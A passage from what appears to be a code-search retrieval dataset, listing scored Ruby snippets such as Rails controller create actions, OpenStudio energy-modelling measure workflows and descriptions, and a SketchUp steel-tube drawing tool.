"text": "def create\n @associated_set = AssociatedSet.new(associated_set_params)\n\n respond_to do |format|\n if @associated_set.save\n format.html { redirect_to @associated_set, notice: 'Associated set was successfully created.' }\n format.json { render :show, status: :created, location: @associated_set }\n else\n format.html { render :new }\n format.json { render json: @associated_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c4e3460e69a421d5068fa04d2b23253f",
"score": "0.48960918",
"text": "def create\n @condition_set = ConditionSet.new(params[:condition_set])\n\n respond_to do |format|\n if @condition_set.save\n format.html { redirect_to @condition_set, :notice => 'Condition set was successfully created.' }\n format.json { render :json => @condition_set, :status => :created, :location => @condition_set }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @condition_set.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ff46ce713619ce858727c8a72f71bed2",
"score": "0.48871168",
"text": "def to_model\n dcs = all_data_criteria.compact.collect(&:to_model)\n sdc = source_data_criteria.compact.collect(&:to_model)\n pcs = all_population_criteria.compact.collect(&:to_model)\n HQMF::Document.new(@id, @id, @hqmf_set_id, @hqmf_version_number, @cms_id,\n title, description, pcs, dcs, sdc,\n @attributes, @measure_period, @populations,\n populations_cql_map=@populations_cql_map, cql_measure_library=@cql_measure_library, observations=@observations)\n end",
"title": ""
},
{
"docid": "a8419ba0e757dbdbd9863cf7573c4012",
"score": "0.48670647",
"text": "def create\n @license_set = LicenseSet.new(params[:license_set])\n @license_set.publisher_id = current_user.id\n\n respond_to do |format|\n if @license_set.save\n format.html { redirect_to :back, notice: \"A license set with #{@license_set.licences} license(s) was successfully created and assigned to the school.\" }\n format.json { render json: @license_set, status: :created, location: @license_set }\n else\n format.html { redirect_to :back, notice: \"#{@license_set.errors.full_messages}\" }\n format.json { render json: @license_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "868c62c378e4ba9ecd628c520c985a97",
"score": "0.48631978",
"text": "def create\n create_group_params = params.permit(:name, :parent_id)\n @qset = Qset.new(create_group_params)\n qset_type = params.permit(:qset_type)\n # set qset type from new qset modal\n @qset.settings(:permissions).qset_type = qset_type[:qset_type]\n @qset.save\n redirect_to qset_path(@qset.id), notice: \"Qset '#{@qset.name}' created.\"\n end",
"title": ""
},
{
"docid": "331651508469621bf4e073bef223362c",
"score": "0.48588356",
"text": "def populate_workflow(value_set,seed_model)\n\n # break out value_set\n building_type = value_set[:building_type]\n template = value_set[:template]\n climate_zone = value_set[:climate_zone]\n total_bldg_area_ip = value_set[:area]\n\n # setup\n measures = []\n\n # start of OpenStudio measures\n\n # adding SpaceTypeAndConstructionSetWizard\n arguments = [] # :value is just a value\n variables = [] # :value needs to be a hash {type: nil, minimum: nil, maximum: nil, mean: nil, status_value: nil}\n arguments << {:name => 'buildingType', :desc => 'Building Type', :value => building_type}\n arguments << {:name => 'template', :desc => 'Template', :value => template}\n arguments << {:name => 'climateZone', :desc => 'Climate Zone', :value => climate_zone}\n arguments << {:name => 'createConstructionSet', :desc => 'Create Construction Set?', :value => true}\n arguments << {:name => 'setBuildingDefaults', :desc => 'Set Building Defaults Using New Objects?', :value => true}\n measures << {\n :path => \"#{File.join(MEASURES_ROOT_DIRECTORY, 'SpaceTypeAndConstructionSetWizard')}\",\n :arguments => arguments,\n :variables => variables\n }\n\n # no measure to add envelope and fenestration, it is in the selected seed model.\n\n # adding AssignThermostatsBasedonStandardsBuildingTypeandStandardsSpaceType\n measures << {:path => \"#{File.join(MEASURES_ROOT_DIRECTORY, 'AssignThermostatsBasedonStandardsBuildingTypeandStandardsSpaceType')}\"}\n\n # adding AddSys3PSZAC\n measures << {:path => \"#{File.join(MEASURES_ROOT_DIRECTORY, 'AddSys3PSZAC')}\"}\n\n # adding add_component_to_model (this adds a window construction and hooks it up to the construction sets in the model)\n arguments = [] # :value is just a value\n variables = [] # :value needs to be a hash {type: nil, minimum: nil, maximum: nil, mean: nil, status_value: nil}\n arguments << {:name => 'construction', :desc => 'Choose Construction Component to Import.', :value => \"Interior Window\"}\n measures << {\n :path => \"#{File.join(MEASURES_ROOT_DIRECTORY, 'add_component_to_model')}\",\n :arguments => arguments,\n :variables => variables\n }\n\n # adding ChangeBuildingLocation\n arguments = [] # :value is just a value\n variables = [] # :value needs to be a hash {type: nil, minimum: nil, maximum: nil, mean: nil, status_value: nil}\n arguments << {:name => 'weather_directory', :desc => 'Weather Directory', :value => \"../../weather\"}\n arguments << {:name => 'weather_file_name', :desc => 'Weather File Name', :value => WEATHER_FILE_NAME}\n measures << {\n :path => \"#{File.join(MEASURES_ROOT_DIRECTORY, 'ChangeBuildingLocation')}\",\n :arguments => arguments,\n :variables => variables\n }\n\n # start of energy plus measures\n\n # adding XcelEDATariffSelectionandModelSetup\n arguments = [] # :value is just a value\n variables = [] # :value needs to be a hash {type: nil, minimum: nil, maximum: nil, mean: nil, status_value: nil}\n arguments << {:name => 'elec_tar', :desc => 'Select an Electricity Tariff.', :value => \"Secondary General\"}\n arguments << {:name => 'gas_tar', :desc => 'Select a Gas Tariff.', :value => \"Large CG\"}\n measures << {\n :path => \"#{File.join(MEASURES_ROOT_DIRECTORY, 'XcelEDATariffSelectionandModelSetup')}\",\n :arguments => arguments,\n :variables => variables\n }\n\n # start of reporting measures\n\n # adding AnnualEndUseBreakdown\n # measures << {:path => \"#{File.join(MEASURES_ROOT_DIRECTORY, 'AnnualEndUseBreakdown')}\"}\n\n return measures\n\nend",
"title": ""
},
{
"docid": "c4ece806f6abd2ee4b3b1e42984a56bc",
"score": "0.48437297",
"text": "def populate_workflow(value_set,seed_model)\n\n # break out value_set\n building_type = value_set[:building_type]\n template = value_set[:template]\n climate_zone = value_set[:climate_zone]\n total_bldg_area_ip = value_set[:area]\n\n # setup\n measures = []\n\n # start of OpenStudio measures\n\n # adding SpaceTypeAndConstructionSetWizard\n arguments = [] # :value is just a value\n variables = [] # :value needs to be a hash {type: nil, minimum: nil, maximum: nil, mean: nil, status_value: nil}\n arguments << {:name => 'buildingType', :desc => 'Building Type', :value => building_type}\n arguments << {:name => 'template', :desc => 'Template', :value => template}\n arguments << {:name => 'climateZone', :desc => 'Climate Zone', :value => climate_zone}\n arguments << {:name => 'createConstructionSet', :desc => 'Create Construction Set?', :value => true}\n arguments << {:name => 'setBuildingDefaults', :desc => 'Set Building Defaults Using New Objects?', :value => true}\n measures << {\n :path => \"#{File.join(MEASURES_ROOT_DIRECTORY, 'SpaceTypeAndConstructionSetWizard')}\",\n :arguments => arguments,\n :variables => variables\n }\n\n # adding BarAspectRatioStudy\n arguments = [] # :value is just a value\n variables = [] # :value needs to be a hash {type: nil, minimum: nil, maximum: nil, mean: nil, status_value: nil}\n arguments << {:name => 'total_bldg_area_ip', :desc => 'Total Building Floor Area (ft^2).', :value => total_bldg_area_ip}\n arguments << {:name => 'surface_matching', :desc => 'Surface Matching', :value => true}\n arguments << {:name => 'make_zones', :desc => 'Make Zones', :value => true}\n variables << {:name => 'ns_to_ew_ratio', :desc => 'Ratio of North/South Facade Length Relative to East/West Facade Length.', :value => {type: 'normal', minimum: 0.2, maximum: 5.0, mean: 2.0, static_value: 2.0, standard_deviation: 1.0}}\n arguments << {:name => 'num_floors', :desc => 'Number of Floors.', :value => {type: 'uniform', minimum: 1, maximum: 10, mean: 2, static_value: 2}}\n variables << {:name => 'floor_to_floor_height_ip', :desc => 'Floor to Floor Height.', :value => {type: 'normal', minimum: 8, maximum: 20, mean: 10, static_value: 10, standard_deviation: 3.0}}\n measures << {\n :path => \"#{File.join(MEASURES_ROOT_DIRECTORY, 'BarAspectRatioStudy')}\",\n :arguments => arguments,\n :variables => variables\n }\n\n # populate hash for wwr measure\n wwr_hash = {}\n wwr_hash[\"North\"] = {type: 'normal', minimum: 0, maximum: 0.6, mean: 0.4, static_value: 0.4, standard_deviation: 0.5}\n wwr_hash[\"East\"] = {type: 'normal', minimum: 0, maximum: 0.6, mean: 0.15, static_value: 0.15, standard_deviation: 0.5}\n wwr_hash[\"South\"] = {type: 'normal', minimum: 0, maximum: 0.6, mean: 0.4, static_value: 0.4, standard_deviation: 0.5}\n wwr_hash[\"West\"] = {type: 'normal', minimum: 0, maximum: 0.6, mean: 0.15, static_value: 0.15, standard_deviation: 0.5}\n\n # loop through instances for wwr\n # note: measure description and variable names need to be unique for each instance\n wwr_hash.each do |facade,wwr|\n # adding bar_aspect_ratio_study\n arguments = [] # :value is just a value\n variables = [] # :value needs to be a hash {type: nil, minimum: nil, maximum: nil, mean: nil, status_value: nil}\n arguments << {:name => 'wwr', :desc => \"#{facade}|Window to Wall Ratio (fraction)\", :value => wwr} # keep name unique if used as variable\n arguments << {:name => 'sillHeight', :desc => \"Sill Height (in)\", :value => 30.0}\n arguments << {:name => 'facade', :desc => 'Cardinal Direction.', :value => facade}\n measures << {\n :name => \"#{facade.downcase}|set_window_to_wall_ratio_by_facade\", #keep this snake_case with a \"|\" separating the unique prefix.\n :desc => \"#{facade}|Set Window to Wall Ratio by Facade\",\n :path => \"#{File.join(MEASURES_ROOT_DIRECTORY, 'SetWindowToWallRatioByFacade')}\",\n :arguments => arguments,\n :variables => variables\n }\n end\n\n # adding assign_thermostats_basedon_standards_building_typeand_standards_space_type\n measures << {:path => \"#{File.join(MEASURES_ROOT_DIRECTORY, 'AssignThermostatsBasedonStandardsBuildingTypeandStandardsSpaceType')}\"}\n\n # use case statement to choose HVAC based on building type\n case building_type\n\n when \"Office\"\n\n # adding AedgOfficeHvacAshpDoas\n arguments = [] # :value is just a value\n variables = [] # :value needs to be a hash {type: nil, minimum: nil, maximum: nil, mean: nil, status_value: nil}\n arguments << {:name => 'ceilingReturnPlenumSpaceType', :desc => 'This space type should be part of a ceiling return air plenum.', :value => nil} # this is an optional argument\n arguments << {:name => 'costTotalHVACSystem', :desc => 'Total Cost for HVAC System ($).', :value => 0.0}\n arguments << {:name => 'remake_schedules', :desc => 'Apply recommended availability and ventilation schedules for air handlers?\"', :value => true}\n measures << {\n :path => \"#{File.join(MEASURES_ROOT_DIRECTORY, 'AedgOfficeHvacAshpDoas')}\",\n :arguments => arguments,\n :variables => variables\n }\n\n when \"PrimarySchool\" , \"SecondarySchool\"\n\n # adding AedgK12HvacDualDuctDoas\n arguments = [] # :value is just a value\n variables = [] # :value needs to be a hash {type: nil, minimum: nil, maximum: nil, mean: nil, status_value: nil}\n arguments << {:name => 'ceilingReturnPlenumSpaceType', :desc => 'This space type should be part of a ceiling return air plenum.', :value => nil} # this is an optional argument\n arguments << {:name => 'costTotalHVACSystem', :desc => 'Total Cost for HVAC System ($).', :value => 0.0}\n arguments << {:name => 'remake_schedules', :desc => 'Apply recommended availability and ventilation schedules for air handlers?\"', :value => true}\n measures << {\n :path => \"#{File.join(MEASURES_ROOT_DIRECTORY, 'AedgK12HvacDualDuctDoas')}\",\n :arguments => arguments,\n :variables => variables\n }\n\n else\n\n # adding EnableIdealAirLoadsForAllZones\n # this shows streamlined workflow item when no custom description and no arguments or variables\n measures << {:path => \"#{File.join(MEASURES_ROOT_DIRECTORY, 'EnableIdealAirLoadsForAllZones')}\"}\n\n end\n\n # adding ChangeBuildingLocation\n arguments = [] # :value is just a value\n variables = [] # :value needs to be a hash {type: nil, minimum: nil, maximum: nil, mean: nil, status_value: nil}\n arguments << {:name => 'weather_directory', :desc => 'Weather Directory', :value => \"../../weather\"}\n arguments << {:name => 'weather_file_name', :desc => 'Weather File Name', :value => WEATHER_FILE_NAME}\n measures << {\n :path => \"#{File.join(MEASURES_ROOT_DIRECTORY, 'ChangeBuildingLocation')}\",\n :arguments => arguments,\n :variables => variables\n }\n\n # start of energy plus measures\n\n # adding XcelEDATariffSelectionandModelSetup\n arguments = [] # :value is just a value\n variables = [] # :value needs to be a hash {type: nil, minimum: nil, maximum: nil, mean: nil, status_value: nil}\n arguments << {:name => 'elec_tar', :desc => 'Select an Electricity Tariff.', :value => \"Secondary General\"}\n arguments << {:name => 'gas_tar', :desc => 'Select a Gas Tariff.', :value => \"Large CG\"}\n measures << {\n :path => \"#{File.join(MEASURES_ROOT_DIRECTORY, 'XcelEDATariffSelectionandModelSetup')}\",\n :arguments => arguments,\n :variables => variables\n }\n\n # start of reporting measures\n\n # adding annual_end_use_breakdown\n # measures << {:path => \"#{File.join(MEASURES_ROOT_DIRECTORY, 'AnnualEndUseBreakdown')}\"}\n\n return measures\n\nend",
"title": ""
},
{
"docid": "5a8a10e0df32b2b3392914102d1bf87f",
"score": "0.48435178",
"text": "def modeler_description\n return \"Creates new ruleset schedules following one of five typical thermostat setpoint patterns in the DEER MASControl database. These are equal likelihood, and use an input of 1-5 to determine which schedule set to use. The same schedule applies to all residential space types in the building. \"\n end",
"title": ""
},
{
"docid": "7e7a7d7c5e9fc22c86ffafcd90c07bde",
"score": "0.4841698",
"text": "def modeler_description\r\n return \"Run a simulation to autosize HVAC equipment and then apply these autosized values back to the model.\"\r\n end",
"title": ""
},
{
"docid": "a128509daa875477789888b7c0e1e345",
"score": "0.4836591",
"text": "def create\n @weight = @dataset.weights.new(params[:weight])\n\n respond_to do |format|\n if @weight.save\n format.html { redirect_to dataset_weights_path(@owner), flash: {success: t('app.msgs.success_created', :obj => t('mongoid.models.weight.one'))} }\n format.json { render json: @weight, status: :created, location: @weight }\n else\n gon.datatable_json = create_datatable_json(@dataset.questions, @weight.codes, @weight.id)\n\n add_common_options\n\n format.html { render action: \"new\" }\n format.json { render json: @weight.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7b13c4b7f073399dc6f389320fe55c4e",
"score": "0.48314872",
"text": "def create\n @pick_set = PickSet.new(params[:pick_set])\n @pick_set.user_id = current_user.id\n @pick_set.week_id = Week.current.first.id\n @games = Game.with_spreads\n @week = Week.current.first\n @title = \"Week #{@week.name} picks\"\n\n respond_to do |format|\n if @pick_set.save\n format.html { redirect_to(pick_sets_url, :notice => 'Pick set was successfully created.') }\n format.xml { render :xml => @pick_set, :status => :created, :location => @pick_set }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @pick_set.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "33c863522b0d843e1ae84c3a7e397296",
"score": "0.48295245",
"text": "def generate_hand_to_hand_weapon\r\n if @h2h_equip_slot.item\r\n @h2h_equip_slot.item.destroy\r\n end\r\n weapon_row = {\r\n id: 0,\r\n name: \"hand to hand\",\r\n short_description: \"hand to hand\",\r\n keywords: \"\",\r\n level: @level,\r\n weight: 0,\r\n cost: 0,\r\n material: :flesh.to_material,\r\n fixed: 0,\r\n\r\n noun: @race.hand_to_hand_noun,\r\n genre: :hand_to_hand.to_genre,\r\n # 9d3(22.5) at 51\r\n dice_count: @model.hand_to_hand_dice_count || (@level * 9 / 51).to_i,\r\n dice_sides: @model.hand_to_hand_dice_sides || 4,\r\n affect_models: @race.hand_to_hand_affect_models\r\n }\r\n h2h_model = WeaponModel.new(0, weapon_row)\r\n # @race.hand_to_hand_affect_models.each do |affect_model|\r\n # h2h_model.affect_models << affect_model\r\n # end\r\n weapon = Weapon.new(h2h_model, @h2h_equip_slot)\r\n return weapon\r\n end",
"title": ""
},
{
"docid": "3ad670bd9fefa3f8d2e383c3d9c03f2b",
"score": "0.4816794",
"text": "def set_publisher_house\n @publisher_house = PublisherHouse.find(params[:id])\n end",
"title": ""
},
{
"docid": "2a2cb6d4fb93c31b05449769eb1dc34d",
"score": "0.48146057",
"text": "def modeler_description\n return \"The measure works in several steps:\n\n1. Find the current Window to Wall Ratio (WWR).\nThis will compute the WWR by taking into account all of the surfaces that have all of the following characteristics:\n- They are walls\n- They have the outside boundary condition as 'Outdoors' (aims to not take into account the adiabatic surfaces)\n- They are SunExposed (could be removed...)\n\n2. Resize all of the existing windows by re-setting the vertices: scaled centered on centroid.\n\n\"\n end",
"title": ""
},
{
"docid": "3e3b48f866ebd8ea62dd5711327787d3",
"score": "0.48129648",
"text": "def create\n @study = Study.new(params[:study])\n @study.user_id = current_user.id\n\n # create and save the region set\n @region_set = RegionSet.new()\n if @study\n # name the imageset after the study if possible\n @region_set.name = @study.name + ' Image Set'\n @region_set.description = 'This is image set was created specifically for the study \"' + @study.name + '\"'\n end\n @region_set.user_id = current_user.id\n @region_set.save()\n\n @study.region_set_id = @region_set.id\n\n respond_to do |format|\n if @study.save\n format.html { redirect_to_survey_or_region }\n format.json { render json: @study, status: :created, location: @study }\n else\n format.html { render action: \"new\" }\n format.json { render json: @study.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3cd03dc34c0217c33c07852042957acc",
"score": "0.4809514",
"text": "def modeler_description\n return 'This measure allows selection between three heat pump water heater modeling approaches in EnergyPlus.' \\\n 'The user may select between the pumped-condenser or wrapped-condenser objects. They may also elect to ' \\\n 'use a simplified calculation which does not use the heat pump objects, but instead used an electric ' \\\n 'resistance heater and approximates the equivalent electrical input that would be required from a heat ' \\\n \"pump. This expedites simulation at the expense of accuracy. \\n\" \\\n 'The flexibility of the system is based on user-defined temperatures and times, which are converted into ' \\\n 'schedule objects. There are four flexibility options. (1) None: normal operation of the DHW system at ' \\\n 'a fixed tank temperature setpoint. (2) Charge - Heat Pump: the tank is charged to a maximum temperature ' \\\n 'using only the heat pump. (3) Charge - Electric: the tank is charged using internal electric resistance ' \\\n 'heaters to a maximum temperature. (4) Float: all heating elements are turned-off for a user-defined time ' \\\n 'period unless the tank temperature falls below a minimum value. The heat pump will be prioritized in a ' \\\n \"low tank temperature event, with the electric resistance heaters serving as back-up. \\n\"\n 'Due to the heat pump interaction with zone conditioning as well as tank heating, users may experience ' \\\n 'simulation errors if the heat pump is too large and placed in an already conditioned zoned. Try using ' \\\n 'multiple smaller units, modifying the heat pump location within the model, or adjusting the zone thermo' \\\n 'stat constraints. Use mulitiple instances of the measure to add multiple heat pump water heaters. '\n end",
"title": ""
},
{
"docid": "ead12cc6126799cf9b3668fe9222a0d6",
"score": "0.48042914",
"text": "def create\n @components_headset = Components::Headset.new(params[:components_headset])\n\n respond_to do |format|\n if @components_headset.save\n format.html { redirect_to(@components_headset, :notice => 'Headset was successfully created.') }\n format.xml { render :xml => @components_headset, :status => :created, :location => @components_headset }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @components_headset.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "980dd2b80f5c3cfd7c27c7c9bf259fc1",
"score": "0.47799334",
"text": "def new\n @publisher = Publisher.new\n end",
"title": ""
},
{
"docid": "76cbab16171b201612bf38dbc93b5712",
"score": "0.47780147",
"text": "def create\n @question_set = QuestionSet.new(params[:question_set])\n @survey = @question_set.survey\n return nag_upgrade unless current_admin_user.can_add_question_set?(@question_set.survey)\n if @question_set.save\n flash[:notice] = \"Question Set #{@question_set.name} created successfully.\"\n redirect_to @question_set\n else\n flash[:error] = \"There were errors when trying to save this question set.\"\n render :action => :new\n end\n end",
"title": ""
},
{
"docid": "2e7d1340c8a9e2f07eb159b76cac228d",
"score": "0.4771774",
"text": "def index \n @page_title = \"Share - Photoset - Create new photoset\" \n @photoset = Photoset.new \n end",
"title": ""
},
{
"docid": "a40117070b3ce618259215515f113d95",
"score": "0.47564334",
"text": "def set_models\n Cheese.create(name:\"Muzarela\")\n Sauce.create(name: \"BBQ\")\n Crust.create(name: \"Thin\")\n Size.create(name: \"Small\", slices: 4)\n PizzaType.create(name: \"Hawaiana\")\n end",
"title": ""
},
{
"docid": "1fefc44bef32cc67b88d2a7ef703330a",
"score": "0.4754421",
"text": "def initialize(data)\n @model = Sketchup.active_model\n # Activates the @model @entities for use\n @entities = @model.active_entities\n @selection = @model.selection\n @model_view = @model.active_view\n @definition_list = @model.definitions\n @materials = @model.materials\n @state = 0\n values = data[:data]\n @base_type = data[:base_type]\n @base_thickness = data[:base_thick].to_f\n @@stud_spacing = data[:stud_spacing]\n @north_stud_selct = data[:north_stud_selct]\n @south_stud_selct = data[:south_stud_selct]\n @east_stud_selct = data[:east_stud_selct]\n @west_stud_selct = data[:west_stud_selct]\n\n @hss_is_rotated = data[:hss_is_rotated]\n\n @start_tolerance = data[:start_tolerance].to_f\n @end_tolerance = data[:end_tolerance].to_f\n\n @hss_type = data[:hss_type]\n @cap_thickness = data[:cap_thickness]\n @hss_has_cap = data[:hss_has_cap]\n\n @h = values[:h].to_f #height of the tube\n @w = values[:b].to_f #width of the tube\n\n\n # This rotates the orientation of the hss if it is a rectangle and you want the long side facing 90° rotation\n if @hss_is_rotated\n @h, @w = @w, @h\n end\n\n if @h == @w\n @square_tube = true\n end\n\n if @hss_type == FLANGE_TYPE_COL\n @is_column = true\n else\n @is_column = false\n end\n\n case data[:wall_thickness]\n when '1/8\"'\n @tw = 0.125\n when '3/16\"'\n @tw = 0.1875\n when '1/4\"'\n @tw = 0.25\n when '5/16\"'\n @tw = 0.3125\n when '3/8\"'\n @tw = 0.375\n when '1/2\"'\n @tw = 0.5\n when '5/8\"'\n @tw = 0.625\n when '3/4\"'\n @tw = 0.75\n when '7/8\"'\n @tw = 0.875\n else\n @tw = 0.25\n end\n\n @tube_name = \"HSS #{data[:height_class]}x#{data[:width_class]} x#{data[:wall_thickness]}\"\n # p @tube_name\n @r = @tw#*RADIUS_RULE\n\n # The Sketchup::InputPoint class is used to get 3D points from screen\n # positions. It uses the SketchUp inferencing code.\n # In this tool, we will have two points for the end points of the beam.\n @ip1 = Sketchup::InputPoint.new\n @ip2 = Sketchup::InputPoint.new\n @ip = Sketchup::InputPoint.new\n @drawn = false\n\n @@pt1 = nil\n @@pt2 = nil\n\n @left_lock = nil\n @right_lock = nil\n @up_lock = nil\n\n @xdown = 0\n @ydown = 0\n\n @x_red = @model.axes.axes[0]\n @y_green = @model.axes.axes[1]\n @z_blue = @model.axes.axes[2]\n # This sets the label for the VCB\n Sketchup::set_status_text (\"Length\"), SB_VCB_LABEL\n selections = check_for_preselect(@selection, @model_view)\n end",
"title": ""
},
{
"docid": "51d7bed44dedd4610ae623cccbff7a3d",
"score": "0.47475702",
"text": "def assemble_collection_specific\n # TODO do we need whitman_citation_s ?\n # TODO whitman_source_sort_s....is this needed ?\n # @json[\"volume_k\"] = @volume\n end",
"title": ""
},
{
"docid": "df42aff60211d59cb9f32747e2334c8d",
"score": "0.47471124",
"text": "def create\n @handbook = Handbook.new(handbook_params)\n\n respond_to do |format|\n if @handbook.save\n format.html { redirect_to @handbook, notice: 'Handbook was successfully created.' }\n format.json { render :show, status: :created, location: @handbook }\n else\n format.html { render :new }\n format.json { render json: @handbook.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6080086b5a78a1699a66ab6fcff12902",
"score": "0.4741286",
"text": "def create\n @qinmiset = Qinmiset.new(qinmiset_params)\n\n respond_to do |format|\n if @qinmiset.save\n format.html { redirect_to @qinmiset, notice: 'Qinmiset was successfully created.' }\n format.json { render :show, status: :created, location: @qinmiset }\n else\n format.html { render :new }\n format.json { render json: @qinmiset.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6f17dddaf045e2cdd08fe6404a9da402",
"score": "0.47324818",
"text": "def publisher\n if defined?(@publisher)\n @publisher\n else\n raise Exception, \"Publisher not defined. Please supply #initialize constructor with 1 argument (Hash)!\"\n end\n end",
"title": ""
},
{
"docid": "c892e278e06ed04a6e04918f16f12d6c",
"score": "0.47304165",
"text": "def create\n @question_set = QuestionSet.new(question_set_params)\n\n respond_to do |format|\n if @question_set.save\n format.html { redirect_to @question_set, notice: \"Question set was successfully created.\" }\n format.json { render :show, status: :created, location: @question_set }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @question_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1f0621cedddc2d0a0a2852f8d4b74cea",
"score": "0.47294432",
"text": "def set_models\n PizzaType.create(name: \"Hawaiana\")\n Cheese.create(name:\"Muzarela\")\n Sauce.create(name: \"BBQ\")\n Crust.create(name: \"Thin\")\n Size.create(name: \"Small\", slices: 4)\n end",
"title": ""
},
{
"docid": "c2400b0a0e8d4e9357938907ccb6066b",
"score": "0.47281742",
"text": "def create_chart_elements\n \n end",
"title": ""
},
{
"docid": "592f6980233a7fafbb5044d8c13f0fe0",
"score": "0.47225082",
"text": "def create\n @stock_set = StockSet.new(params[:stock_set])\n\n respond_to do |format|\n if @stock_set.save\n format.html { redirect_to(@stock_set, :notice => 'Stock set was successfully created.') }\n format.xml { render :xml => @stock_set, :status => :created, :location => @stock_set }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @stock_set.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5e37521b15efd19fb2a70eb71075e8aa",
"score": "0.47187606",
"text": "def set_wizmodel\n @wizmodel = Wizmodel.find(params[:id])\n end",
"title": ""
},
{
"docid": "94b998149c9e84a239109d6c666251dc",
"score": "0.471387",
"text": "def modeler_description\n return 'Creates single-family attached geometry. Also, sets (or replaces) BuildingUnit objects that store the number of bedrooms and bathrooms associated with the model. Sets (or replaces) the People object for each finished space in the model.'\n end",
"title": ""
},
{
"docid": "79b8d218d86449096e15012d216883ff",
"score": "0.47114685",
"text": "def set_weight_set\n @weight_set = WeightSet.find(params[:id])\n end",
"title": ""
},
{
"docid": "cdb2762c5f20b6fdd9a59ed3b4bd6877",
"score": "0.4706729",
"text": "def create\n @bookset = Bookset.new(params[:bookset])\n \n respond_to do |format|\n if @bookset.save\n format.html { redirect_to @bookset, notice: 'Bookset was successfully created.' }\n format.json { render json: @bookset, status: :created, location: @bookset }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bookset.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "afc4151049de4a403982da492f69b399",
"score": "0.4704597",
"text": "def model; end",
"title": ""
},
{
"docid": "afc4151049de4a403982da492f69b399",
"score": "0.4704597",
"text": "def model; end",
"title": ""
},
{
"docid": "afc4151049de4a403982da492f69b399",
"score": "0.4704597",
"text": "def model; end",
"title": ""
},
{
"docid": "afc4151049de4a403982da492f69b399",
"score": "0.4704597",
"text": "def model; end",
"title": ""
},
{
"docid": "afc4151049de4a403982da492f69b399",
"score": "0.4704597",
"text": "def model; end",
"title": ""
},
{
"docid": "afc4151049de4a403982da492f69b399",
"score": "0.4704597",
"text": "def model; end",
"title": ""
},
{
"docid": "afc4151049de4a403982da492f69b399",
"score": "0.4704597",
"text": "def model; end",
"title": ""
},
{
"docid": "afc4151049de4a403982da492f69b399",
"score": "0.4704597",
"text": "def model; end",
"title": ""
},
{
"docid": "afc4151049de4a403982da492f69b399",
"score": "0.4704597",
"text": "def model; end",
"title": ""
},
{
"docid": "afc4151049de4a403982da492f69b399",
"score": "0.4704597",
"text": "def model; end",
"title": ""
},
{
"docid": "afc4151049de4a403982da492f69b399",
"score": "0.4704597",
"text": "def model; end",
"title": ""
},
{
"docid": "afc4151049de4a403982da492f69b399",
"score": "0.4704597",
"text": "def model; end",
"title": ""
},
{
"docid": "afc4151049de4a403982da492f69b399",
"score": "0.4704597",
"text": "def model; end",
"title": ""
},
{
"docid": "afc4151049de4a403982da492f69b399",
"score": "0.4704597",
"text": "def model; end",
"title": ""
},
{
"docid": "afc4151049de4a403982da492f69b399",
"score": "0.4704597",
"text": "def model; end",
"title": ""
},
{
"docid": "afc4151049de4a403982da492f69b399",
"score": "0.4704597",
"text": "def model; end",
"title": ""
},
{
"docid": "afc4151049de4a403982da492f69b399",
"score": "0.4704597",
"text": "def model; end",
"title": ""
},
{
"docid": "afc4151049de4a403982da492f69b399",
"score": "0.4704597",
"text": "def model; end",
"title": ""
},
{
"docid": "1fc3d2b54d4c11f89c6e3b087c4bcc95",
"score": "0.46995127",
"text": "def modeler_description\n return '''\n This measure helps create a new thermostat for each conditioned thermal zone, and generate random heating and cooling setpoints based on a Gaussin distribution.\n '''\n end",
"title": ""
},
{
"docid": "1fc3d2b54d4c11f89c6e3b087c4bcc95",
"score": "0.46995127",
"text": "def modeler_description\n return '''\n This measure helps create a new thermostat for each conditioned thermal zone, and generate random heating and cooling setpoints based on a Gaussin distribution.\n '''\n end",
"title": ""
},
{
"docid": "cb2adde9aee10d58cf2748aeb28bb41e",
"score": "0.4693085",
"text": "def hand_type\n\n end",
"title": ""
},
{
"docid": "4f0dca958f4c2c346cde5712ffdba4f7",
"score": "0.46904686",
"text": "def model\n end",
"title": ""
},
{
"docid": "24b79affb0215e2fe69e80ce7236e092",
"score": "0.46876776",
"text": "def create\n @swimset = Swimset.new(swimset_params)\n\n respond_to do |format|\n if @swimset.save\n format.html { redirect_to @swimset, notice: 'Swimset was successfully created.' }\n format.json { render action: 'show', status: :created, location: @swimset }\n else\n format.html { render action: 'new' }\n format.json { render json: @swimset.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e03933a0eabad34ac5170a11a0311dfb",
"score": "0.46872854",
"text": "def build_model\n\t@model.create(get_likelihood_gender('Y'),get_likelihood_gender('N'),\n\t\t\t\t\tget_likelihood_blood('Y'),get_likelihood_blood('N'),\n\t\t\t\t\tget_likelihood_weight('Y'),get_likelihood_weight('N'))\nend",
"title": ""
},
{
"docid": "e0988d3eb4aa1e65b10b825a75b9a390",
"score": "0.46871552",
"text": "def modeler_description\n return \"Sets (or replaces) dummy ElectricEquipment objects that store the number of bedrooms and bathrooms associated with the model. Also sets the People object for each finished space in the model.\"\n end",
"title": ""
},
{
"docid": "0b3b12aedb1ae6372ebf4da63b1e091e",
"score": "0.46855626",
